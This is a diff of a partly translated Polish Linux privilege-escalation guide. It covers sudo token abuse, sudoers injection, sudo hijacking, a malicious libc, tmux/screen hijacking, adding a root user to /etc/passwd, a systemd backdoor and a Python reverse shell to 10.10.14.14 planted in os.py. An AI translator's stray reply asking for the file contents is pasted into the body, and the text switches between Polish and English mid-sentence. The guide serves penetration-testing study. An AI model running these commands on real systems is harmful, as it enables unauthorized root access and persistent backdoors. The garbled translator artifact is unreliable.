do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to jest czas trwania sudo token, który pozwala używać `sudo` bez podawania hasła) +- `cat /proc/sys/kernel/yama/ptrace_scope` jest 0 +- `gdb` jest dostępny (możesz go wgrać) -(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) +(Możesz tymczasowo włączyć `ptrace_scope` poleceniem `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) -Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia za pomocą:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **pierwszy exploit** (`exploit.sh`) utworzy binarkę `activate_sudo_token` w _/tmp_. Możesz jej użyć do **aktywowania tokenu sudo w swojej sesji** (nie otrzymasz automatycznie powłoki roota, uruchom `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi **exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **będącą własnością root z bitem setuid** +- Drugi **exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **należącą do root z ustawionym setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Trzeci exploit** (`exploit_v3.sh`) **utworzy sudoers file**, co sprawi, że **sudo tokens będą wieczne i wszyscy użytkownicy będą mogli używać sudo** +- **Trzeci exploit** (`exploit_v3.sh`) **utworzy sudoers file**, który sprawi, że **sudo tokens będą wieczne i pozwoli wszystkim użytkownikom używać sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Jeśli masz **uprawnienia do zapisu** w folderze lub na którymkolwiek z utworzonych w nim plików, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **utworzyć token sudo dla użytkownika i PID**.\ -Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez konieczności znajomości hasła wykonując: +Jeśli masz **write permissions** w tym folderze lub na którymkolwiek z utworzonych w nim plików, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **create a sudo token for a user and PID**.\ +Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten user z PID 1234, możesz **obtain sudo privileges** bez potrzeby znajomości hasła wykonując: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Plik `/etc/sudoers` oraz pliki w katalogu `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób.\ -**Te pliki domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\ -**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisać** dowolny plik, będziesz w stanie **escalate privileges**. +Plik `/etc/sudoers` oraz pliki wewnątrz `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być czytane tylko przez użytkownika root i grupę root**.\ +**Jeżeli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisać** dowolny plik, będziesz w stanie **eskalować przywileje**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Jeśli masz możliwość zapisu, możesz nadużyć to uprawnienie. +Jeśli masz uprawnienie do zapisu, możesz je nadużyć. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -985,17 +1006,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Istnieją pewne alternatywy dla binarki `sudo`, takie jak `doas` dla OpenBSD — pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` +Istnieją pewne alternatywy dla binarnego pliku `sudo`, takie jak `doas` dla OpenBSD — pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Jeśli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i masz shell w kontekście tego użytkownika, możesz **utworzyć nowy sudo executable**, który uruchomi twój kod jako root, a następnie wykona polecenie użytkownika. Następnie **zmodyfikuj $PATH** w kontekście użytkownika (np. dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik wywoła sudo, uruchamiany był twój sudo executable. +Jeżeli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** aby eskalować uprawnienia i uzyskałeś shell w kontekście tego użytkownika, możesz **utworzyć nowy sudo executable** który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik wywoła sudo, wykonywany był twój sudo executable. -Zwróć uwagę, że jeśli użytkownik używa innego shell (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Inny przykład znajdziesz w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Lub uruchamiając coś takiego: +Lub uruchamiając coś w stylu: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiując lib do `/var/tmp/flag15/`, program użyje jej w tym miejscu, jak określono w zmiennej `RPATH`. +Kopiując bibliotekę do `/var/tmp/flag15/`, zostanie ona użyta przez program w tym miejscu, jak określono w zmiennej `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1046,7 +1067,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Następnie utwórz złośliwą bibliotekę w `/var/tmp` za pomocą `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Następnie utwórz złośliwą bibliotekę w `/var/tmp` przy użyciu `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1061,38 +1082,38 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities provide a **podzbiór dostępnych uprawnień roota dla procesu**. To efektywnie rozbija uprawnienia roota na **mniejsze i wyróżnialne jednostki**. Każdej z tych jednostek można następnie niezależnie nadać procesom. W ten sposób zmniejsza się zakres pełnych uprawnień, redukując ryzyko wykorzystania.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux capabilities dostarczają procesowi **podzbiór dostępnych uprawnień roota**. To praktycznie rozdziela uprawnienia roota na mniejsze i odrębne jednostki. Każdej z tych jednostek można następnie niezależnie przyznać procesom. W ten sposób pełny zestaw uprawnień zostaje zredukowany, zmniejszając ryzyko wykorzystania.\ +Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities i jak je wykorzystać**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Uprawnienia katalogu -W katalogu, **bit for "execute"** oznacza, że dotknięty użytkownik może **cd** do folderu.\ -Bit **"read"** oznacza, że użytkownik może **list** **pliki**, a bit **"write"** oznacza, że użytkownik może **delete** i **create** nowe **pliki**. +W katalogu, **bit for "execute"** oznacza, że dany użytkownik może "**cd**" do folderu.\ +Bit **"read"** oznacza, że użytkownik może **wyświetlić listę** **plików**, a bit **"write"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. ## ACLs -Access Control Lists (ACLs) stanowią drugą warstwę dyskrecjonalnych uprawnień, zdolną do **overriding the traditional ugo/rwx permissions**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **granularity ensures more precise access management**. Dalsze szczegóły można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stanowią drugą warstwę uprawnień dyskrecjonalnych, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu przez przyznawanie lub odmawianie praw określonym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **szczegółowości zapewnia precyzyjniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Nadaj** użytkownikowi "kali" read i write uprawnienia do pliku: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pobierz** pliki o określonych ACL ze systemu: +**Pobierz** pliki z określonymi ACLs z systemu: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Otwarte shell sessions +## Otwieranie shell sessions -W **starszych wersjach** możesz **hijack** pewną **shell** session innego użytkownika (**root**).\ -W **najnowszych wersjach** będziesz mógł **connect** do screen sessions tylko **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz session**. +W **starych wersjach** możesz **hijack** czyjąś **shell** session (**root**).\ +W **nowszych wersjach** będziesz mógł **connect** do screen sessions tylko **swojego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz session**. ### screen sessions hijacking @@ -1109,11 +1130,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## Przejęcie sesji tmux -To był problem ze **starymi wersjami tmux**. Nie udało mi się hijack a tmux (v2.1) session utworzonej przez root jako użytkownik nieuprzywilejowany. +To był problem w przypadku **starych wersji tmux**. Nie byłem w stanie przejąć sesji tmux (v2.1) utworzonej przez root jako użytkownik nieuprzywilejowany. -**Wyświetl listę sesji tmux** +**Wyświetl sesje tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1131,83 +1152,83 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Sprawdź **Valentine box from HTB** jako przykład. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Wszystkie klucze SSL i SSH wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu, itd.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte przez ten błąd.\ -Błąd ten występuje przy tworzeniu nowego ssh key w tych OS, ponieważ **tylko 32,768 variations were possible**. Oznacza to, że wszystkie możliwości można obliczyć i **mając ssh public key możesz wyszukać odpowiadający private key**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Wszystkie klucze SSL i SSH wygenerowane w systemach opartych na Debianie (Ubuntu, Kubuntu, itd.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem. +Ten błąd występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe było tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można wyliczyć i **mając publiczny klucz ssh możesz wyszukać odpowiadający mu klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Ciekawe wartości konfiguracyjne -- **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie `no`. +- **PasswordAuthentication:** Określa, czy uwierzytelnianie za pomocą hasła jest dozwolone. Domyślnie `no`. - **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie `yes`. - **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustym hasłem. Domyślnie `no`. ### PermitRootLogin -Określa, czy root może logować się używając ssh, domyślnie `no`. Możliwe wartości: +Określa, czy root może logować się przez ssh, domyślnie `no`. Możliwe wartości: -- `yes`: root może logować się używając hasła i klucza prywatnego +- `yes`: root może się logować za pomocą hasła i klucza prywatnego - `without-password` or `prohibit-password`: root może logować się tylko za pomocą klucza prywatnego -- `forced-commands-only`: root może logować się tylko używając klucza prywatnego i jeśli opcje commands są określone -- `no` : nie +- `forced-commands-only`: Root może logować się tylko przy użyciu klucza prywatnego i gdy określone są opcje poleceń +- `no`: brak możliwości logowania dla root ### AuthorizedKeysFile -Określa pliki zawierające klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz wskazać ścieżki bezwzględne** (rozpoczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: +Określa pliki, które zawierają klucze publiczne używane do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz wskazać ścieżki absolutne** (rozpoczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **private** klucza użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracja spowoduje, że jeśli spróbujesz zalogować się za pomocą **private** key użytkownika "**testusername**", ssh porówna public key twojego klucza z kluczami znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding pozwala ci **używać swoich lokalnych SSH keys zamiast zostawiać klucze** (bez passphrases!) na serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **na hosta**, a stamtąd **przeskoczyć na inny** host **używając** **klucza** znajdującego się na twoim **początkowym hoście**. +SSH agent forwarding pozwala ci **use your local SSH keys instead of leaving keys** (without passphrases!) zamiast trzymać je na serwerze. Dzięki temu będziesz mógł połączyć się przez ssh **jump** **to a host** i stamtąd **jump to another** host **using** the **key** znajdujący się na twoim **initial host**. -Musisz ustawić tę opcję w `$HOME/.ssh.config` w następujący sposób: +Musisz ustawić tę opcję w `$HOME/.ssh.config` w ten sposób: ``` Host example.com ForwardAgent yes ``` -Zauważ, że jeśli `Host` ma wartość `*`, za każdym razem gdy użytkownik przełączy się na inną maszynę, ta maszyna będzie mogła uzyskać dostęp do kluczy (co jest problemem bezpieczeństwa). +Zauważ, że jeśli `Host` jest `*`, za każdym razem gdy użytkownik przełączy się na inną maszynę, ta maszyna będzie mogła uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa). Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zablokować tę konfigurację.\ -Plik `/etc/sshd_config` może **zezwalać** lub **zabraniać** ssh-agent forwarding za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). +Plik `/etc/sshd_config` może **zezwolić** lub **zablokować** ssh-agent forwarding przy użyciu słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). -Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w danym środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie wykorzystać to do eskalacji uprawnień**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Ciekawe pliki +## Interesting Files -### Pliki profili +### Profiles files -Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` to **skrypty uruchamiane, gdy użytkownik uruchamia nową powłokę**. W związku z tym, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. +Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` są **skryptami uruchamianymi, gdy użytkownik otwiera nową powłokę**. W związku z tym, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Jeśli znajdziesz jakiś podejrzany skrypt profilu, sprawdź go pod kątem **wrażliwych informacji**. +Jeśli znajdziesz jakiś podejrzany skrypt profilu, powinieneś sprawdzić go pod kątem **poufnych informacji**. ### Pliki passwd/shadow -W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **odnaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć, **czy w plikach znajdują się hashes**: +W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć **czy w plikach znajdują się hashe**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -W niektórych przypadkach możesz znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym). +W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Możliwość zapisu do /etc/passwd +### Plik /etc/passwd z prawami zapisu Najpierw wygeneruj hasło za pomocą jednego z następujących poleceń. ``` @@ -1215,42 +1236,47 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Nie otrzymałem zawartości pliku src/linux-hardening/privilege-escalation/README.md. Proszę wklej jego zawartość, a przetłumaczę tekst na polski. Jeśli chcesz, mogę też dodać do przetłumaczonego pliku fragment z poleceniami tworzącymi użytkownika `hacker` i wstawić wygenerowane hasło — potwierdź, czy to zrobić. +I don't have the contents of src/linux-hardening/privilege-escalation/README.md — please paste the file contents you want translated. + +Also confirm what you mean by "Then add the user `hacker` and add the generated password": +- Do you want me to insert a command snippet (e.g., useradd + passwd or adduser with an example generated password) into the translated README? +- Or do you want instructions only? +I cannot create system users on your machine; I can only provide the commands and the generated password text to add to the file. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Np.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Np: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Możesz teraz użyć polecenia `su` z `hacker:hacker` -Alternatywnie możesz użyć poniższych linii, aby dodać użytkownika bez hasła.\ -UWAGA: możesz obniżyć bieżący poziom bezpieczeństwa maszyny. +Alternatywnie, możesz użyć poniższych linii, aby dodać fałszywego użytkownika bez hasła.\ +UWAGA: możesz osłabić aktualne bezpieczeństwo maszyny. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` i `/etc/master.passwd`, a `/etc/shadow` został przemianowany na `/etc/spwd.db`. +UWAGA: Na platformach BSD `/etc/passwd` znajduje się pod `/etc/pwd.db` i `/etc/master.passwd`, a także `/etc/shadow` został przemianowany na `/etc/spwd.db`. Powinieneś sprawdzić, czy możesz **zapisywać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na przykład, jeśli na maszynie działa serwer **tomcat** i możesz **modify the Tomcat service configuration file inside /etc/systemd/,** możesz zmodyfikować następujące linie: +Na przykład, jeśli maszyna uruchamia serwer **tomcat** i możesz **modify the Tomcat service configuration file inside /etc/systemd/,** możesz zmodyfikować następujące linie: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Twój backdoor zostanie uruchomiony następnym razem, gdy tomcat zostanie uruchomiony. +Twój backdoor zostanie uruchomiony przy następnym uruchomieniu tomcat. -### Sprawdź foldery +### Sprawdź katalogi -Następujące foldery mogą zawierać kopie zapasowe lub interesujące informacje: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj) +Następujące katalogi mogą zawierać kopie zapasowe lub interesujące informacje: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Dziwne lokalizacje/Owned files +### Dziwna lokalizacja/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1267,11 +1293,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Zmodyfikowane pliki w ostatnich minutach +### Pliki zmodyfikowane w ciągu ostatnich minut ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Pliki Sqlite DB +### Pliki DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1301,20 +1327,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Znane pliki zawierające hasła -Przejrzyj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on wyszukuje **wiele plików, które mogą zawierać hasła**.\ -**Innym ciekawym narzędziem**, którego możesz użyć do tego jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. +Przejrzyj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on szuka **wielu możliwych plików, które mogą zawierać hasła**.\ +**Innym ciekawym narzędziem**, którego możesz użyć w tym celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — otwartoźródłowa aplikacja służąca do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux i Mac. ### Logi -Jeśli potrafisz czytać logi, możesz znaleźć **interesujące/poufne informacje w nich**. Im dziwniejszy log, tym bardziej prawdopodobne, że będzie interesujący.\ -Również niektóre "**źle**" skonfigurowane (backdoored?) **audit logs** mogą pozwolić na **zapisywanie haseł** wewnątrz audit logs, jak wyjaśniono w tym poście: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/. +Jeśli potrafisz czytać logi, możesz znaleźć w nich **interesujące/poufne informacje**. Im dziwniejszy log, tym bardziej interesujący (prawdopodobnie).\ +Ponadto niektóre **źle** skonfigurowane (backdoored?) **audit logs** mogą pozwolić na **zapisanie haseł** w audit logs, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Aby móc **czytać logi**, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie bardzo pomocna. +Aby czytać logi, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie bardzo pomocna. -### Pliki powłoki +### Pliki Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1325,59 +1351,59 @@ Aby móc **czytać logi**, grupa [**adm**](interesting-groups-linux-pe/index.htm ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Ogólne wyszukiwanie Creds/Regex +### Generic Creds Search/Regex -Powinieneś również sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub w **treści**, a także sprawdzić adresy IP i e‑maile w logach, oraz regexy dla hashy.\ -Nie będę tu wypisywał, jak to wszystko zrobić, ale jeśli jesteś zainteresowany możesz sprawdzić ostatnie kontrole, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Powinieneś również sprawdzać pliki zawierające słowo "**password**" w **nazwie** lub w **zawartości**, a także sprawdzać IP i adresy e-mail w logach oraz hashes regexps.\ +Nie będę tu opisywać, jak to wszystko zrobić, ale jeśli jesteś zainteresowany możesz sprawdzić ostatnie kontrole, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Pliki zapisywalne ### Python library hijacking -Jeśli wiesz, z **jakiego miejsca** skrypt python będzie uruchamiany i **możesz zapisywać w tym folderze** lub możesz **modyfikować biblioteki python**, możesz zmodyfikować bibliotekę os i dodać do niej backdoor (jeśli możesz zapisywać tam, gdzie skrypt python będzie uruchamiany, skopiuj i wklej bibliotekę os.py). +Jeśli wiesz z **którego miejsca** będzie uruchamiany skrypt python i możesz **zapisywać w** tym folderze lub możesz **modyfikować python libraries**, możesz zmodyfikować OS library i backdoor it (jeśli możesz zapisywać tam, gdzie skrypt python będzie uruchamiany, skopiuj i wklej bibliotekę os.py). -Aby **dodać backdoor do biblioteki** po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT): +Aby **backdoor the library**, po prostu dodaj na końcu biblioteki os.py następującą linię (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Eksploatacja logrotate -Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może zostać zmanipulowany do wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzać uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, gdzie stosowana jest rotacja logów. +Luka w `logrotate` pozwala użytkownikom z **uprawnieniami zapisu** do pliku dziennika lub jego katalogów nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może zostać zmanipulowany do wykonania dowolnych plików, zwłaszcza w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale także w każdym katalogu, gdzie stosowana jest rotacja logów. > [!TIP] -> Ta luka dotyczy `logrotate` w wersji `3.18.0` i starszych +> Ta podatność dotyczy `logrotate` w wersji `3.18.0` i starszych -Szczegółowe informacje o luce można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Więcej szczegółowych informacji o podatności znajdziesz na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). +Możesz wykorzystać tę podatność za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). -Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc za każdym razem, gdy znajdziesz możliwość modyfikacji logów, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi dowiązaniami symbolicznymi. +Ta podatność jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc ilekroć odkryjesz, że możesz modyfikować logi, sprawdź, kto nimi zarządza i 